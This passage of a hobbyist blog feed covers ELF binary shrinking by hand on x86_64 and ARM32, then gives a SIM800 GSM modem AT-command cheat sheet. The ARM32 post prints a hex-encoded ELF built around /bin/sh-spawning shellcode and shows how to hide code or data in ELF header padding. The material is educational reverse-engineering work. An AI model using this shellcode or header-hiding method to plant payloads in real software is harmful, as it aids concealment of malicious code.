rid of this big bulk of bytes taken up by the .shstrtab and the section headers
by hand with your hex editor of choice.&lt;/p>
&lt;p>Delete everything from 0x99 on!&lt;/p>
&lt;p>Our binary now looks like this&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.12.png" alt="">&lt;/p>
&lt;p>We keep the 0a byte at the end just so the terminal knows that the string is
over and we need a new line.&lt;/p>
&lt;p>[ Mangling ]────────────────────────────────────────────────────────────────────&lt;/p>
&lt;p>Well, we are now down to 0x99 (153) bytes. This is pretty small, but we can do
more to get this thing even smaller.&lt;/p>
&lt;p>We can see in the objdump from before that we MOV 0x40008f into %rsi, which is
the virtual address pointing to our string 0x5b5e305e5d207521210a. or
“[^0^] u!!\n”&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.13.png" alt="">&lt;/p>
&lt;p>If the program is pointing to the address of the string at 0x40008f, then that
means that it maps out to 0x00008f in our binary. What if we save even more
space (10 whole bytes!) by moving our string somewhere else?&lt;/p>
&lt;p>But where else, and how? Well, we can try and find some unused space elsewhere
to store our string. At first glance it looks like all the bytes in our binary
are accounted for. Admittedly, x86_64’s structure is a bit more rigid than x86,
because of the amount of space needed to hold addresses in such a large memory
space. But, there are still some spots that we can hide some data.&lt;/p>
&lt;p>The ELF Header from above contains a bit of padding at 0x08–0x015. It also
contains some bytes that are pretty much always going to be a specific value at
this point in ELF’s history.&lt;/p>
&lt;p>Two of these values are the ELF version (which is 1 for version 1) at 0x06, and
the OS Application Binary Interface at 0x07. These can be overwritten and still
run on most Unix based systems, and are a perfect location to begin our code
insertion.&lt;/p>
&lt;p>We now have 10 bytes free that we can use to move our string up into the header
like this:&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.14.png" alt="">&lt;/p>
&lt;p>Now before we run this, we have to make sure our machine code is pointing to
where our new string is. Previously we were at 0x40008f, which is referenced in
the binary at 0x00000080&lt;/p>
&lt;pre tabindex="0">&lt;code>48 c7 c6 8f 00 40 00 mov $0x40008f,%rsi
&lt;/code>&lt;/pre>&lt;p>Since our string is now at 0x00000006 in our binary, we change the address at
0x00000080 as such. Simply swap out 8f for 06. Note: Addresses are little
endian, so 0x0040008f is represented as 0x8f004000.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.15.png" alt="">&lt;/p>
&lt;p>And there you have it. We have successfully rearranged this binary by hand to
hide code in the header, and have removed debugging capabilities.
Our binary should do the same thing as it did when we first compiled it, but now
at a lean 143 bytes.&lt;/p>
&lt;p>Final Output:&lt;/p>
&lt;p>&lt;img src="https://n0.lol/ebm/1.16.png" alt="">&lt;/p></description></item><item><title>ARM32 Binary Mangling</title><link>https://n0.lol/notes/arm32-elf-experiments/</link><pubDate>Fri, 01 Dec 2017 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/arm32-elf-experiments/</guid><description>&lt;p>Here are some notes on experimenting with small ARM32 binaries. I edited binaries directly instead of assembling them on each modification to the binary.&lt;/p>
&lt;h2 id="creating-the-initial-binary">Creating The Initial Binary&lt;/h2>
&lt;p>This is the source&lt;/p>
&lt;pre tabindex="0">&lt;code>$ cat hello.s
.data
msg: .ascii &amp;#34;[^-^] [^0^]\n&amp;#34;
len = . - msg
.text
.global _start
_start:
mov r0, #1 /* fd 1 = stdout */
ldr r1, =msg /* message */
ldr r2, =len /* length of message */
mov r7, $4 /* write */
swi #0 /* syscall */
mov r0, $0 /* status */
mov r7, $1 /* exit */
swi #0 /* syscall */
&lt;/code>&lt;/pre>&lt;p>Output in raw hex - You can use objdump or this &lt;a href="http://armconverter.com/hextoarm/">handy converter!&lt;/a>&lt;/p>
&lt;pre tabindex="0">&lt;code>0100a0e3 MOV R0, #1
14109fe5 LDR R1, [PC, #0x14]
0c20a0e3 MOV R2, #0xC
0470a0e3 MOV R7, #4
000000ef SVC #0
0000a0e3 MOV R0, #0
0170a0e3 MOV R7, #1
000000ef SVC #0
90000200 MULEQ R2, R0, R0
&lt;/code>&lt;/pre>&lt;h2 id="analyzing-the-sections">Analyzing The Sections&lt;/h2>
&lt;h3 id="objdump">Objdump&lt;/h3>
&lt;pre tabindex="0">&lt;code>pi@pai:~/asm $ objdump -d hello
hello: file format elf32-littlearm
Disassembly of section .text:
00010074 &amp;lt;_start&amp;gt;:
10074: e3a00001 mov r0, #1
10078: e59f1014 ldr r1, [pc, #20] ; 10094 &amp;lt;_start+0x20&amp;gt;
1007c: e3a0200c mov r2, #12
10080: e3a07004 mov r7, #4
10084: ef000000 svc 0x00000000
10088: e3a00000 mov r0, #0
1008c: e3a07001 mov r7, #1
10090: ef000000 svc 0x00000000
10094: 00020098 .word 0x00020098
&lt;/code>&lt;/pre>&lt;h3 id="hexdump">Hexdump&lt;/h3>
&lt;pre tabindex="0">&lt;code>pi@pai:~/asm $ hd hello
headers ----------------------------------------------------------------------
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 28 00 01 00 00 00 74 00 01 00 34 00 00 00 |..(.....t...4...|
00000020 60 02 00 00 00 02 00 05 34 00 20 00 02 00 28 00 |`.......4. ...(.|
00000030 07 00 06 00 01 00 00 00 00 00 00 00 00 00 01 00 |................|
00000040 00 00 01 00 98 00 00 00 98 00 00 00 05 00 00 00 |................|
00000050 00 00 01 00 01 00 00 00 98 00 00 00 98 00 02 00 |................|
00000060 98 00 02 00 0c 00 00 00 0c 00 00 00 06 00 00 00 |................|
00000070 00 00 01 00
.text 0x74 | 0x24 ------------------------------------------------------------
00000074 01 00 a0 e3 14 10 9f e5 0c 20 a0 e3 |............. ..|
00000080 04 70 a0 e3 00 00 00 ef 00 00 a0 e3 01 70 a0 e3 |.p...........p..|
00000090 00 00 00 ef 98 00 02 00
.data 0x98 | 0xc -------------------------------------------------------------
00000098 5b 5e 2d 5e 5d 20 5b 5e |........[^-^] [^|
000000a0 30 5e 5d 0a |0^].
.ARM_attributes 0xa4 | 0x14 --------------------------------------------------
000000a4 41 13 00 00 00 61 65 61 62 69 00 01 A....aeabi..|
000000b0 09 00 00 00 06 01 08 01
.symtab 0xb8 | 0x120 ---------------------------------------------------------
000000b8 00 00 00 00 00 00 00 00 |................|
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 74 00 01 00 |............t...|
000000d0 00 00 00 00 03 00 01 00 00 00 00 00 98 00 02 00 |................|
000000e0 00 00 00 00 03 00 02 00 00 00 00 00 00 00 00 00 |................|
000000f0 00 00 00 00 03 00 03 00 01 00 00 00 00 00 00 00 |................|
00000100 00 00 00 00 04 00 f1 ff 09 00 00 00 98 00 02 00 |................|
00000110 00 00 00 00 00 00 02 00 0d 00 00 00 0c 00 00 00 |................|
00000120 00 00 00 00 00 00 f1 ff 11 00 00 00 74 00 01 00 |............t...|
00000130 00 00 00 00 00 00 01 00 14 00 00 00 94 00 01 00 |................|
00000140 00 00 00 00 00 00 01 00 14 00 00 00 98 00 02 00 |................|
00000150 00 00 00 00 00 00 02 00 26 00 00 00 a4 00 02 00 |........&amp;amp;.......|
00000160 00 00 00 00 10 00 02 00 17 00 00 00 a4 00 02 00 |................|
00000170 00 00 00 00 10 00 02 00 25 00 00 00 a4 00 02 00 |........%.......|
00000180 00 00 00 00 10 00 02 00 36 00 00 00 74 00 01 00 |........6...t...|
00000190 00 00 00 00 10 00 01 00 31 00 00 00 a4 00 02 00 |........1.......|
000001a0 00 00 00 00 10 00 02 00 3d 00 00 00 a4 00 02 00 |........=.......|
000001b0 00 00 00 00 10 00 02 00 45 00 00 00 a4 00 02 00 |........E.......|
000001c0 00 00 00 00 10 00 02 00 4c 00 00 00 a4 00 02 00 |........L.......|
000001d0 00 00 00 00 10 00 02 00
.strtab 0x1d8 | 0x51 ---------------------------------------------------------
000001d8 00 68 65 6c 6c 6f 2e 6f |.........hello.o|
000001e0 00 6d 73 67 00 6c 65 6e 00 24 61 00 24 64 00 5f |.msg.len.$a.$d._|
000001f0 5f 62 73 73 5f 73 74 61 72 74 5f 5f 00 5f 5f 62 |_bss_start__.__b|
00000200 73 73 5f 65 6e 64 5f 5f 00 5f 5f 62 73 73 5f 73 |ss_end__.__bss_s|
00000210 74 61 72 74 00 5f 5f 65 6e 64 5f 5f 00 5f 65 64 |tart.__end__._ed|
00000220 61 74 61 00 5f 65 6e 64 00 |ata._end.
.shstrtab 0x229 | 0x37 -------------------------------------------------------
00000229 00 2e 73 79 6d 74 61 ..symta|
00000230 62 00 2e 73 74 72 74 61 62 00 2e 73 68 73 74 72 |b..strtab..shstr|
00000240 74 61 62 00 2e 74 65 78 74 00 2e 64 61 74 61 00 |tab..text..data.|
00000250 2e 41 52 4d 2e 61 74 74 72 69 62 75 74 65 73 00 |.ARM.attributes.|
Then a bunch of other stuff
00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000280 00 00 00 00 00 00 00 00 1b 00 00 00 01 00 00 00 |................|
00000290 06 00 00 00 74 00 01 00 74 00 00 00 24 00 00 00 |....t...t...$...|
000002a0 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 |................|
000002b0 21 00 00 00 01 00 00 00 03 00 00 00 98 00 02 00 |!...............|
000002c0 98 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 |................|
000002d0 01 00 00 00 00 00 00 00 27 00 00 00 03 00 00 70 |........&amp;#39;......p|
000002e0 00 00 00 00 00 00 00 00 a4 00 00 00 14 00 00 00 |................|
000002f0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 |................|
00000300 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 |................|
00000310 b8 00 00 00 20 01 00 00 05 00 00 00 0a 00 00 00 |.... ...........|
00000320 04 00 00 00 10 00 00 00 09 00 00 00 03 00 00 00 |................|
00000330 00 00 00 00 00 00 00 00 d8 01 00 00 51 00 00 00 |............Q...|
00000340 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 |................|
00000350 11 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 |................|
00000360 29 02 00 00 37 00 00 00 00 00 00 00 00 00 00 00 |)...7...........|
00000370 01 00 00 00 00 00 00 00 |........|
00000378
&lt;/code>&lt;/pre>&lt;h3 id="stripped-hexdump">Stripped Hexdump&lt;/h3>
&lt;pre tabindex="0">&lt;code>pi@pai:~/asm $ strip hello
pi@pai:~/asm $ hd hello
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 28 00 01 00 00 00 74 00 01 00 34 00 00 00 |..(.....t...4...|
00000020 e0 00 00 00 00 02 00 05 34 00 20 00 02 00 28 00 |........4. ...(.|
00000030 05 00 04 00 01 00 00 00 00 00 00 00 00 00 01 00 |................|
00000040 00 00 01 00 98 00 00 00 98 00 00 00 05 00 00 00 |................|
00000050 00 00 01 00 01 00 00 00 98 00 00 00 98 00 02 00 |................|
00000060 98 00 02 00 0c 00 00 00 0c 00 00 00 06 00 00 00 |................|
00000070 00 00 01 00 01 00 a0 e3 14 10 9f e5 0c 20 a0 e3 |............. ..|
00000080 04 70 a0 e3 00 00 00 ef 00 00 a0 e3 01 70 a0 e3 |.p...........p..|
00000090 00 00 00 ef 98 00 02 00 5b 5e 2d 5e 5d 20 5b 5e |........[^-^] [^|
000000a0 30 5e 5d 0a 41 13 00 00 00 61 65 61 62 69 00 01 |0^].A....aeabi..|
000000b0 09 00 00 00 06 01 08 01 00 2e 73 68 73 74 72 74 |..........shstrt|
000000c0 61 62 00 2e 74 65 78 74 00 2e 64 61 74 61 00 2e |ab..text..data..|
000000d0 41 52 4d 2e 61 74 74 72 69 62 75 74 65 73 00 00 |ARM.attributes..|
000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000100 00 00 00 00 00 00 00 00 0b 00 00 00 01 00 00 00 |................|
00000110 06 00 00 00 74 00 01 00 74 00 00 00 24 00 00 00 |....t...t...$...|
00000120 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 |................|
00000130 11 00 00 00 01 00 00 00 03 00 00 00 98 00 02 00 |................|
00000140 98 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 |................|
00000150 01 00 00 00 00 00 00 00 17 00 00 00 03 00 00 70 |...............p|
00000160 00 00 00 00 00 00 00 00 a4 00 00 00 14 00 00 00 |................|
00000170 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 |................|
00000180 01 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 |................|
00000190 b8 00 00 00 27 00 00 00 00 00 00 00 00 00 00 00 |....&amp;#39;...........|
000001a0 01 00 00 00 00 00 00 00 |........|
000001a8
&lt;/code>&lt;/pre>&lt;h3 id="readelf">Readelf&lt;/h3>
&lt;pre tabindex="0">&lt;code>pi@pai:~/asm $ readelf -a hello
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2&amp;#39;s complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: ARM
Version: 0x1
Entry point address: 0x10074
Start of program headers: 52 (bytes into file)
Start of section headers: 608 (bytes into file)
Flags: 0x5000200, Version5 EABI, soft-float ABI
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 2
Size of section headers: 40 (bytes)
Number of section headers: 7
Section header string table index: 6
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .text PROGBITS 00010074 000074 000024 00 AX 0 0 4
[ 2] .data PROGBITS 00020098 000098 00000c 00 WA 0 0 1
[ 3] .ARM.attributes ARM_ATTRIBUTES 00000000 0000a4 000014 00 0 0 1
[ 4] .symtab SYMTAB 00000000 0000b8 000120 10 5 10 4
[ 5] .strtab STRTAB 00000000 0001d8 000051 00 0 0 1
[ 6] .shstrtab STRTAB 00000000 000229 000037 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
y (purecode), p (processor specific)
There are no section groups in this file.
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x00010000 0x00010000 0x00098 0x00098 R E 0x10000
LOAD 0x000098 0x00020098 0x00020098 0x0000c 0x0000c RW 0x10000
Section to Segment mapping:
Segment Sections...
00 .text
01 .data
There is no dynamic section in this file.
There are no relocations in this file.
There are no unwind sections in this file.
Symbol table &amp;#39;.symtab&amp;#39; contains 18 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00010074 0 SECTION LOCAL DEFAULT 1
2: 00020098 0 SECTION LOCAL DEFAULT 2
3: 00000000 0 SECTION LOCAL DEFAULT 3
4: 00000000 0 FILE LOCAL DEFAULT ABS hello.o
5: 00020098 0 NOTYPE LOCAL DEFAULT 2 msg
6: 0000000c 0 NOTYPE LOCAL DEFAULT ABS len
7: 00010074 0 NOTYPE LOCAL DEFAULT 1 $a
8: 00010094 0 NOTYPE LOCAL DEFAULT 1 $d
9: 00020098 0 NOTYPE LOCAL DEFAULT 2 $d
10: 000200a4 0 NOTYPE GLOBAL DEFAULT 2 _bss_end__
11: 000200a4 0 NOTYPE GLOBAL DEFAULT 2 __bss_start__
12: 000200a4 0 NOTYPE GLOBAL DEFAULT 2 __bss_end__
13: 00010074 0 NOTYPE GLOBAL DEFAULT 1 _start
14: 000200a4 0 NOTYPE GLOBAL DEFAULT 2 __bss_start
15: 000200a4 0 NOTYPE GLOBAL DEFAULT 2 __end__
16: 000200a4 0 NOTYPE GLOBAL DEFAULT 2 _edata
17: 000200a4 0 NOTYPE GLOBAL DEFAULT 2 _end
No version information found in this file.
Attribute Section: aeabi
File Attributes
Tag_CPU_arch: v4
Tag_ARM_ISA_use: Yes
ARM ABI is version 5
&lt;/code>&lt;/pre>&lt;p>Can Delete up to .text and .data !&lt;/p>
&lt;pre tabindex="0">&lt;code> pi@pai:~ $ hd hello_pi_no_armattr
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 28 00 01 00 00 00 74 00 01 00 34 00 00 00 |..(.....t...4...|
00000020 e0 00 00 00 00 02 00 05 34 00 20 00 02 00 28 00 |........4. ...(.|
00000030 05 00 04 00 01 00 00 00 00 00 00 00 00 00 01 00 |................|
00000040 00 00 01 00 98 00 00 00 98 00 00 00 05 00 00 00 |................|
00000050 00 00 01 00 01 00 00 00 98 00 00 00 98 00 02 00 |................|
00000060 98 00 02 00 0c 00 00 00 0c 00 00 00 06 00 00 00 |................|
00000070 00 00 01 00 01 00 a0 e3 14 10 9f e5 0c 20 a0 e3 |............. ..|
00000080 04 70 a0 e3 00 00 00 ef 00 00 a0 e3 01 70 a0 e3 |.p...........p..|
00000090 00 00 00 ef 98 00 02 00 5b 5e 2d 5e 5d 20 5b 5e |........[^-^] [^|
000000a0 30 5e 5d 0a |0^].|
&lt;/code>&lt;/pre>&lt;p>Read elf again&lt;/p>
&lt;pre tabindex="0">&lt;code>pi@pai:~ $ readelf -a hello_pi_no_armattr
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2&amp;#39;s complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: ARM
Version: 0x1
Entry point address: 0x10074
Start of program headers: 52 (bytes into file)
Start of section headers: 224 (bytes into file)
Flags: 0x5000200, Version5 EABI, soft-float ABI
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 2
Size of section headers: 40 (bytes)
Number of section headers: 5
Section header string table index: 4
readelf: Error: Reading 0xc8 bytes extends past end of file for section header
readelf: Error: Section headers are not available!
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x00010000 0x00010000 0x00098 0x00098 R E 0x10000
LOAD 0x000098 0x00020098 0x00020098 0x0000c 0x0000c RW 0x10000
There is no dynamic section in this file.
&lt;/code>&lt;/pre>&lt;h3 id="elf-header">ELF Header&lt;/h3>
&lt;p>Here&amp;rsquo;s another look at the ELF Header with Index Letters to help see where stuff
actually is:&lt;/p>
&lt;pre tabindex="0">&lt;code>Position I Value
----------------------------------------------------------------------
0-3 A Magic number - 0x7F, then &amp;#39;ELF&amp;#39; in ASCII
4 B 1 = 32 bit, 2 = 64 bit
5 C 1 = little endian, 2 = big endian
6 D ELF Version
7 E OS ABI - usually 0 for System V
8-15 F Unused/padding
16-17 G 1 = relocatable, 2 = executable, 3 = shared, 4 = core
18-19 H Instruction set
20-23 I ELF Version
24-27 J Program entry position
28-31 K Program header table position
32-35 L Section header table position
36-39 M Flags - architecture dependent; see note below
40-41 N Header size
42-43 O Size of an entry in the program header table
44-45 P Number of entries in the program header table
46-47 Q Size of an entry in the section header table
48-49 R Number of entries in the section header table
50-51 S Index in section header table with the section name
&lt;/code>&lt;/pre>&lt;p>NOTE: 0x28 is the instruction set flag number for ARM.&lt;/p>
&lt;p>Take a look at how these values are actually laid out in an ARM binary.&lt;/p>
&lt;pre tabindex="0">&lt;code> A---------- B- C- D- E- F----------------------
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
G---- H---- I---------- J---------- K----------
00000010 02 00 28 00 01 00 00 00 74 00 01 00 34 00 00 00 |..(.....t...4...|
L---------- M---------- N---- O---- P---- Q----
00000020 e0 00 00 00 00 02 00 05 34 00 20 00 02 00 28 00 |........4. ...(.|
R---- S----
00000030 05 00 04 00
&lt;/code>&lt;/pre>&lt;p>Program Headers [32 bit]&lt;/p>
&lt;pre tabindex="0">&lt;code>Position I Value
----------------------------------------------------------------------
0-3 A Type of segment
4-7 B The offset in the file that the data for this segment can
be found (p_offset)
8-11 C Where you should start to put this segment in virtual
memory (p_vaddr)
12-15 D Undefined for the System V ABI
16-19 E Size of the segment in the file (p_filesz)
20-23 F Size of the segment in memory (p_memsz)
24-27 G Flags
1 = x
2 = w
3 = wx
4 = r
5 = rx - code segment
6 = rw - data segment
7 = rwx
28-31 H The required alignment for this section (must be a power of 2)
&lt;/code>&lt;/pre>&lt;p>Why are there two program headers?&lt;/p>
&lt;pre tabindex="0">&lt;code> A---------- B---------- C----------
00000034 01 00 00 00 00 00 00 00 00 00 01 00 |................|
D---------- E---------- F---------- G----------
00000040 00 00 01 00 98 00 00 00 98 00 00 00 05 00 00 00 |................|
H----------
00000050 00 00 01 00
A---------- B---------- C----------
00000054 01 00 00 00 98 00 00 00 98 00 02 00 |................|
D---------- E---------- F---------- G----------
00000060 98 00 02 00 0c 00 00 00 0c 00 00 00 06 00 00 00 |................|
H----------
00000070 00 00 01 00
&lt;/code>&lt;/pre>&lt;p>Our actual code is still here:&lt;/p>
&lt;pre tabindex="0">&lt;code> .text-------------------------------------------------------------------------
01 00 a0 e3 14 10 9f e5 0c 20 a0 e3 |............. ..|
00000080 04 70 a0 e3 00 00 00 ef 00 00 a0 e3 01 70 a0 e3 |.p...........p..|
00000090 00 00 00 ef 98 00 02 00 5b 5e 2d 5e 5d 20 5b 5e |........[^-^] [^|
000000a0 30 5e 5d 0a |0^].|
&lt;/code>&lt;/pre>&lt;p>Deleting the second program header causes it to return zero but no output to terminal. It keeps loading at 0x00000074. Removing the first causes a segfault&lt;/p>
&lt;p>The first program header describes the headers and .text, the second describes
the data for &amp;lsquo;[^-^] [^0^]\n&amp;rsquo;. If bin mangling then the second isn&amp;rsquo;t needed as
long as relative address is grabbing the data from the code segment.&lt;/p>
&lt;h2 id="mangling">Mangling&lt;/h2>
&lt;p>Now we have an idea of the layout for a barebones ARM binary and can add our
code as needed.&lt;/p>
&lt;p>So if I add the shellcode for &lt;code>/bin/sh&lt;/code> and just append to that binary template
with just one program header, what happens? Turns out that&amp;rsquo;s all you need. Just
change the entry point to 54, change the amount of program headers elf.P.&lt;/p>
&lt;p>The size at pgm.E and pgm.F don&amp;rsquo;t even really matter as long as its bigger
than the length of the file.&lt;/p>
&lt;pre tabindex="0">&lt;code>7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00 00
02 00 28 00 01 00 00 00 54 00 01 00 34 00 00 00
E0 00 00 00 00 02 00 05 34 00 20 00 01 00 28 00
05 00 04 00 01 00 00 00 00 00 00 00 00 00 01 00
00 00 01 00 98 00 00 00 98 00 00 00 05 00 00 00
00 00 01 00 01 60 8F E2 16 FF 2F E1 40 40 78 44
0C 30 49 40 52 40 0B 27 01 DF 01 27 01 DF 2F 2F
62 69 6E 2F 2F 73 68
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 28 00 01 00 00 00 54 00 01 00 34 00 00 00 |..(.....T...4...|
00000020 e0 00 00 00 00 02 00 05 34 00 20 00 01 00 28 00 |........4. ...(.|
00000030 05 00 04 00 01 00 00 00 00 00 00 00 00 00 01 00 |................|
00000040 00 00 01 00 98 00 00 00 98 00 00 00 05 00 00 00 |................|
00000050 00 00 01 00 01 60 8f e2 16 ff 2f e1 40 40 78 44 |.....`..../.@@xD|
00000060 0c 30 49 40 52 40 0b 27 01 df 01 27 01 df 2f 2f |.0I@R@.&amp;#39;...&amp;#39;..//|
00000070 62 69 6e 2f 2f 73 68 |bin//sh|
00000077
&lt;/code>&lt;/pre>&lt;p>119 bytes, smaller than the 147 bytes in shldr of bin/sh in elf64&lt;/p>
&lt;pre tabindex="0">&lt;code>7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00 00
02 00 28 00 01 00 00 00 54 00 01 00 34 00 00 00
E0 00 00 00 00 02 00 05 34 00 20 00 01 00 28 00
05 00 04 00 01 00 00 00 00 00 00 00 00 00 01 00
00 00 01 00
&lt;/code>&lt;/pre>&lt;p>Change the two 98s to the length of the shellcode + 0x54&lt;/p></description></item><item><title>Generic AT Commands</title><link>https://n0.lol/cheatsheets/at_commands/</link><pubDate>Mon, 20 Nov 2017 12:00:00 -0400</pubDate><guid>https://n0.lol/cheatsheets/at_commands/</guid><description>&lt;p>Listing some generic GSM / GPRS Modem AT commands. There are always going to be manufacturer specific ones. This list was created with the SIM800 module in mind.&lt;/p>
&lt;p>Info&lt;/p>
&lt;ul>
&lt;li>All commands start with &amp;ldquo;AT&amp;rdquo; (case insensitive)&lt;/li>
&lt;li>All responses are &lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->ResponseData&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/li>
&lt;li>Chain commands together with semicolons. You only need to set AT once.&lt;/li>
&lt;/ul>
&lt;h2 id="general-info">General Info&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>AT&amp;amp;V&lt;/td>
&lt;td>View current configuration&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT&amp;amp;W&lt;/td>
&lt;td>Store current configuration&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="network">Network&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>AT+COPS?&lt;/td>
&lt;td>Query Network Operators in cell area&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+COPS=X&lt;/td>
&lt;td>X = Params for registering to specified network. Test SIM&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CPAS&lt;/td>
&lt;td>Get activity status of module (0=ready,2=Unknown)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CREG&lt;/td>
&lt;td>Network Registration. Use to determine registration state and enable registration with operators.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="sms">SMS&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>AT+CMGR&lt;/td>
&lt;td>Read SMS Message&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CMGS&lt;/td>
&lt;td>Send SMS Message&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="sim-toolkit">SIM Toolkit&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>AT+STKTRS&lt;/td>
&lt;td>STK Terminal Response (Basically return value on command.)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+SGPIO&lt;/td>
&lt;td>Control GPIO. Can select pins and set high or low.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CGPIO&lt;/td>
&lt;td>Control GPIO by Pin Index. Same but easier to pick pins.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+GSMBUSY&lt;/td>
&lt;td>Reject Incoming Call&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CWHITELIST&lt;/td>
&lt;td>Set the Whitelist&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+SJDR&lt;/td>
&lt;td>Set Jamming Detection Function&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+SKPD&lt;/td>
&lt;td>Keypad Detecting Function&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="gprs">GPRS&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>AT+CGATT&lt;/td>
&lt;td>Attach or Detach from GPRS Service&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CGREG&lt;/td>
&lt;td>Network Registration Status&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="tcpip">TCP/IP&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Command&lt;/th>
&lt;th>Description&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>AT+CIPSTART&lt;/td>
&lt;td>Start TCP or UDP Connection&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CIPSEND&lt;/td>
&lt;td>Send Data through TCP or UDP Connection&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CIPQSEND&lt;/td>
&lt;td>Select data transmission mode&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CIPACK&lt;/td>
&lt;td>Query Previous Connection Data Transmitting State&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CIPCLOSE&lt;/td>
&lt;td>Close connection.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CLPORT&lt;/td>
&lt;td>Set Local Port&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CIFSR&lt;/td>
&lt;td>Get Local IP&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CIPSTATUS&lt;/td>
&lt;td>Get Current Connection Status&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CDNSCFG&lt;/td>
&lt;td>Set DNS&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CDNSGIP&lt;/td>
&lt;td>DNS Query&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>AT+CIPSRIP&lt;/td>
&lt;td>Show remote addr and port when recieving&lt;/td>
